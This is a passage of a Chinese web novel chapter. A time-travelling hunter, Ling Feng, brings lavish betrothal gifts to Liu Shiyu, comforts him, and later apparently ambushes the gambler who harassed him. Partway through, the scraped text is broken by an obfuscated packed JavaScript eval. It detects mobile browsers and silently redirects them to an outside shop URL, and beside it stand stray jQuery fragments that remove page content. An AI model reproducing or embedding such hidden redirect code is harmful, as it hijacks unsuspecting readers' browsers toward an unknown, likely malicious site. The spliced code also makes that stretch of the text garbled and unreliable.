耳边议论纷扰。
柳时雨紧闭双眼,脸蛋深埋在男人滚烫结实的胸膛,惊魂未定地攥着他的粗布麻衣。
闻着他身上这股冷冽干爽的味道,心中五味杂陈,就连自己的心跳声仿佛都放大了数倍。
“天呐快看!连聘雁都是活的!你看他抬来的那些,族长他们家姑娘定亲那会,都没这么大排场吧?”
“这外来汉哪来的银子?”
“起先我看他进了山,定是猎到好东西了。”
“没想到他还真回来了,雨哥儿也算是熬出头了,走了这狗屎运...”
柳禾不悦反驳:“雨哥儿救了他的命,这叫好人有好报,给自己捡了个好夫君回来!”
刘桂花佯装不屑,酸的要命:“还不是个来路不明的,这般铺张浪费,怕是手头那些银子全花光了吧!哼,败家的主儿...”
凌锋听着这些乱七八糟的话头大,他也是去找人打听了一番,他们这世界彩礼娶亲的规格,怎么样算好,怎么样才叫妥帖。
他不知这村里的人讲究到哪个地步,都是嫁人,哥儿女孩应该都一样,表面功夫怎么都得做足,体体面面风风光光。
他清楚他这小恩人在这村里的处境,一小孩遭受这么多恶念非议,以前肯定也没少受欺负,就是想让他扬眉吐气一次,往后那些人再想嘲讽贬低,也得先掂量掂量。
现下怀中人似是冷静了,没再抖也没再腿软,但还是没撒手。
这样搂搂抱抱耗着,周围又一群起哄的,凌锋开始觉得有点别扭。
他很肯定自己的性取向,他不是个gay,怀里这人再漂亮纤细终究也是个带把的。
此情此景的氛围,这么多双眼睛看着,弄得好像他们真要成了夫妻一般。
“好点了吗?”凌锋试探着低头,沉声说:“先办正事,都在等我们。”
柳时雨感觉自己耳廓像是被烫了一下,有些酥痒。
他顺着男人的动作退出他的怀抱,目光扫了下四周还没太恍过神。
古时候都讲究父母之命媒妁之言,就算这是个架空的世界也一样。
凌锋让人把东西都抬进了柳家小爹的屋,领着媒人和族长一起把该走的流程都走一遍。
什么交换庚帖,写婚书盖手印等。
一片热闹欢腾中,他注意到柳时雨的状态还是有点不对,他不在的这一天肯定发生了些什么。
等把事情加速搞定,凌锋叫坐在床头满脸欢喜的柳家小爹帮着继续接待还没走的族长和乡亲,陪着说会话就行,他们小辈意思意思就差不多。
然后趁所有人聊得正欢的时候,一把握住小哥儿的细腕,将人拉到了自己屋里,关上门。
喧嚣掩去大半,清净不少。
“嘶...”柳时雨掌心的擦伤被男人的动作牵扯,本能抽了口气。
这是之前惊慌失措躲柳老赖时弄伤的。
现在疼这一下,周围总算没别人,他才像是彻底缓过来,没了刚才那副任人摆布的样子。
“你怎么了?”凌锋立马松手,稍稍俯身问到。
小哥儿脸蛋微垂,长睫将那双漂亮的眸子遮盖,淡粉的唇轻抿,瞧不出此刻是何情绪。
听着男人关切自己的温柔语气,积压的所有委屈和后怕一股脑涌了出来,怎么都压不回去。
凌锋静候着,又勾背凑近了点想去分辨人的表情。
忽地,那鸦羽般卷翘的睫毛颤抖几下,两行清泪从眼眶溢出,滑到白皙尖瘦的下巴滴落。
看着这副美人无声垂泪的画面,凌锋脑子停机了一秒。
我c!
“你哭什么,你别,你先别哭,”从容的他瞬间慌了,抬起两只手碰也不是,不碰也不是,仓促下只补救似的伸出手掌接住那接二连三的泪珠子,“谁欺负你了?难道是因为我?对不起对不起,你这,到底怎么了?”
凌锋笨嘴拙舌,他最怕人在他面前掉眼泪。
上辈子身边就一帮大老爷们死到临头也没哭过,他实在是不知道该怎么安抚怎么哄。
“你昨日没回,他们都传...”柳时雨唇瓣湿润翕张,哭过的嗓子黏软沾点鼻音。
还是没脸将后面那句不要他跑了的话说出口。
凌锋头脑敏锐,稍微转转就知道小哥儿表达的意思,再结合一些细枝末节。
他目光柔下来,无奈地看着眼前人:“他们觉得我不会回来了,你信了,也这么以为?”
柳时雨吸了下鼻,轻咬嘴唇没吱声,算是默认。
“我回来那会,是不是正好有人在找你麻烦?”凌锋语气认真了点,猜测:“跟那晚想害你的是同一个?”
柳时雨没想到男人随便就全猜中了,他有些惊讶抬起湿漉的眸子瞅了他一眼,闷闷点头:“嗯...”
凌锋后槽牙紧了紧,眼底掀过一瞬阴戾,最终怕吓到人脾气没发作,只懊恼地暗叹口气。
“这事怪我,对不起,没及时回来,也没提前和你说清楚。”他诚恳道歉。
知道他是个会多想的性子,却没顾及周全。
主要他也还没适应,这时代连个手机通讯仪都没有,早知道该让余斌那小子带句话的。
“我置办这些东西废了点时间,晚了牛车也没了,就在县里客栈对付了一晚。”男人继续解释:“你放心,我不是那种会出尔反尔,恩将仇报的人。”
小哥儿轻轻点头:“我信你。”
话都说开,气氛莫名变得有些诡迷起来。
凌锋看了眼人双颊的水痕,想起什么,从胸襟里掏出一块霜白色的帕子,小心伸过去欲给他擦擦。
柳时雨目光垂到眼前这绣着鸳鸯的手帕上。
这一看就是姑娘家小哥儿用的,绝对不是他的东西。
他微微蹙眉,狐疑的眼神望向男人。
“?”凌锋秒反应,赶紧解释:“哦,这是布庄掌柜看我东西买的多,送的新的。”他说完,见人眉头舒展,便指指脸,“你自己擦擦?”
替男孩抹眼泪这种事,还是有点怪。
柳时雨接过那手帕,垂脸,心里有点点失落。
凌锋也在这时候注意到人手上的擦伤,还好只破了点皮,于是又去拿点金疮药过来。
他在一旁看着小哥儿自己给自己上药,回想起今天发生的一切,隐隐有种不好的预感。
刚成年的小弟弟,被人欺负了,在可以依赖的人面前娇气点倒也正常。
只是...
凌锋掌心泪水的湿意在不断警醒他,这份依赖和亲近持续发酵,恐怕以后会到难以收场的地步。
毕竟在这个世界,他们其实算是‘异性’,孤男寡男纠缠不清,指不定对方就会产生点别样的情意。
现在成亲是板上钉钉,对于柳时雨来说就算是和离也比被说成私相授受苟且来的要好。
他得找个机会在成亲之前跟他再说清楚。
他只能做到把他当成救命恩人,和弟弟对待。
不然等真到无法收拾的那一天,就来不及了。
柳时雨感受到男人的视线,抬头对上那双深邃的黑眸,对方像是避嫌似得,别开了眼。
柳时雨心间一怔,敏感意会。
丝丝缕缕的不安又一点点钻出来。
他知他如今做到这份上不过是为了他的名声,拉他出泥潭。
他看得出来,他应当是不喜欢小哥儿的。
因为别的男子,看自己的眼神总是会带些色相,再不济也会藏着几分窥探的意味,而他却完全没用。
最初发生那事的时候,他跟他解释自己也是逼不得已。
但其实,救他时见他的第一眼就动摇了一点私心。
他从未见过这样英俊出众的男子。
那日天生异象,空闻雷声巨响闪电乍现,却没有一滴雨。
然后他便在着急归家的途中碰见了穿着奇装异服,一身伤,好似凭空出现的他。
现下他突然觉得,就像是老天送给他的一份礼物。
别人嫌他是个什么都没有的外来户,他却知道他有一身的本事,厉害着。
他无父无母,同他成亲没有长辈婆母磋磨,对于寻常的姑娘小哥儿来说,简直是世间一大幸事。
“你之前同我说,你是逃荒过来的,家里没人了,我救你那日是在山上遇见了劫匪?”柳时雨迟疑着问。
凌锋回过神,话题转得突然,他不太记得自己有没有说过,好像昏昏醒醒那会是有话赶话胡诌。
“嗯。”他敷衍着应。
柳时雨默然,心里根本不信,那会什么都没多想,也没发生后面的事,不过是救个人。
现在回看,他这人高马大一身的腱子肉,哪里像是挨过饿逃过荒的。
唬他也不编个像样的。
不过,无论如何,他想要的也只是他能心甘情愿留下...
“你我定了亲,”柳时雨斟酌着,红着耳尖一本正经道:“等到时拜完堂,你便可以叫族长帮你在村中落户,能分间屋子,虽然可能会比较破旧,但还是很有好处的。”
凌锋倒是没听出这话里话外的小小利诱,提到屋子,只想到了怎么赚钱换新房住得舒服点,毕竟他们现在连窗户都是漏风的,冬不暖夏不凉。
而且小哥儿说的也没错,他既然来到了这个世界,能有个户籍,总比当流民黑户的好。
柳时雨不知男人在思索什么,他没敢看他。
他总觉得他那双深邃的黑眸里掩藏着非常人能有的锐利和锋芒,只要同他多对视几秒就会被洞穿心思。
他才不想让他看出来,他对他有所图...
.
待凑热闹的人都走了,他们才开始对着礼单清点凌锋带回来的聘礼。
红布包着聘银五两,那些箱子里布帛数匹,还有两套成衣,素银头冠,猪肉半扇活鸡一对,米酒米粮喜果俱全。
柳时雨感觉自己有些眼花缭乱,眼眶发热,他从未见过这么多好东西,更别说拥有,曾经梦都未曾梦过。
除了这些,凌锋还特意找人打了个单人用的浴盆。
“你在那草棚洗澡不方便,有了这东西,往后你就可以倒水在自己屋里洗,不冷还不用担心被人偷看。”
凌锋抱着胳膊倚在墙边,身心放松地看着小哥儿忙前忙后地收拾。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764246|209531||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
虽然对方脸色看不太出,但他能感觉出来他很开心,还有点感动,眼尾勾着点惹人怜的粉色。
柳时雨摸着那柏木浴盆,小心翼翼地,爱不释手。
他自小便爱洁净,就算冬日没柴烧热水,就算是牙齿冷得直打架,也要强忍着寒意洗干净澡身上心间才觉舒适。
现在,他不必再受冻了。
柳时雨将澡盆收放到角落,又匆匆跑到离厨棚不远的一块空地搭起了鸡舍。
凌锋很有眼力见跟着去帮忙,他来负责体力活,让柳时雨递递东西和工具,不然以这家伙的力气和速度,估计得鼓捣到天黑。
柳时雨解开那一公一母两只鸡的脚绳,将他们连同在笼里的活雁一块关进了围栏里。
他洗个手又回到屋中归置其他物件。
吃食放到该放的地方,布料衣裳便收进箱里。
“你往后别直接买成衣,这样不划算,”小哥儿轻抚着那细布制成的青色衣衫,小声道:“买布匹自己做更剩银子。”
“哦?”凌锋挑了下眉,促狭道:“你还会自己做衣裳?”
男人明显是在打趣他,柳时雨有点没好气,但还是只瞅了他一眼。
“自然,制衣制鞋这些女红活,女子和小哥儿都得会,不然嫁了人可是会被夫家嫌弃的...”他语气淡淡,说完顿了下,眸子微微闪烁,“我明日为你量下身寸,就用这些布给你制两件新衣裳,你都没个换洗的...”
总光着膀子烤干再穿,也不是办法。
“这是给你的聘礼,给我做衣服算什么。”凌锋随口道。
“成了亲便是一个家,分什么你我,给自己夫君做身衣裳再正常不过。”小哥儿这话是脱口而出,以为会被拒绝而急了。
话音落下,双方突然都安静了,他看到凌锋的眼神和神色不对,才意识到自己方才的称呼,和说的话有多逾距暧昧。
“我,”他脸颊一热,磕磕巴巴找补,“寻常人家,一般都是这样的。”
凌锋清了清嗓子,怕尴尬,站直斜靠的身体:“那个,天色也不早了,我去烧饭,你可以试试这衣服合不合身。”
柳时雨知道男人这是不自在故意找由头躲开,他垂眸闷嗯声:“晚些洗完澡再试,你去吧。”
中午忙了一通提亲的事,只凑合啃了点野菜饼。
晚上胃里空得慌可得吃点有油水的。
凌锋把之前处理好的那只新鲜竹鼠烤了,又砍了一半剩下的兔肉,给柳时雨做个好消化的兔肉羹。
竹鼠烤得焦香滋滋冒油,撒上他从县里带回来的香料,那味道又上了一个层次,烧烤的味道香得人直迷糊,就是可惜缺少辣椒,只能用花椒凑合。
许是提着的心放下了,亦或是耗了些体力,向来胃口不大好的柳时雨,今晚竟不用凌锋要求嘱咐,自己就乖乖多吃了几块肉。
等小哥儿吃饱,凌锋一通风卷残云,把剩的东西全装进了肚里。
厨棚该干的活干完,冲完澡关好鸡。
凌锋拿着个裹银子的布包递给了柳时雨。
“我这趟进城除了那张狐狸皮,还卖了张弓箭的图纸,一共赚了25两,置办完聘礼基本都花的差不多,这里面还剩最后的二两多,其中包括你偷偷放在窝头碗里的那一两,我没动,你都拿去收好。”
凌锋昨天早上起来吃柳时雨给他留的窝头,发现碗里居然还放了银子。
一两对于普通老百姓来说不是个小数目,更别说一个自己都身体不好,还要养家糊口给爹治病的小哥儿了。
这可能差不多是他的全部家当,不知道采了多少草药才换来的。
“为何要给我收着?”柳时雨抿了下唇问。
“这里面有一半本就是你的,至于我的那份,我这人花钱大手大脚,还容易丢三落四,给你放心点。”凌锋大大方回答。
他这么说一半是真心,一半是希望人收下。
柳时雨迟疑下才接过那布包,攥在手里,心里滋味时好时坏,乱得很。
他给他这一两,就是觉得没有哪个汉子出门身上不带钱的,怕他没卖掉货想干什么不方便。
可他竟当真一文都没动他给的,同他分得这样清楚。
其实置办的这些聘礼,太破费了,他高兴过后还很肉疼,现在听完更是,整整二十来两,他得省吃俭用攒多少年才能攒到,居然就这样一日花没了。
他知道他是一片好心,自然也识相,一句扫兴的话都没说。
.
后半夜,夜深人静。
整个柳家庄都熄了灯入了梦。
寒月凄淡,冷风空卷。
柳老赖踩着泥路从外村的赌坊的回来,喝的酒气熏天,脚步摇摇晃晃。
估计是翻盘赢了点银子,他看起来心情不错,还哼着淫词滥调。
他走到路尽头,拐进土坯矮墙的拐角,突然一道高大如同鬼魅般的黑影悄无声息出现在了他身后。
月光被遮了个严实,眼前发黑。
柳老赖停下脚步,缓缓抬头。
那双浑浊的眼像是见了厉鬼般猛地瞪大,没等他惊恐出声,麻袋便兜头罩落...